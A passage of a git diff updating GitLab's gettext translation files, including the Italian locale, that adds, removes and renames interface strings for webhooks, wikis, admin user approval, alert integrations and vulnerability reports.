msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/it/gitlab.po b/locale/it/gitlab.po
index 7177eae6d03..0a71ad952b9 100644
--- a/locale/it/gitlab.po
+++ b/locale/it/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: it\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:47\n"
+"PO-Revision-Date: 2020-12-03 08:17\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} sarà rimosso! Sei sicuro?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Partito"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} branch"
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr "Pagina profilo di %{user_name}"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
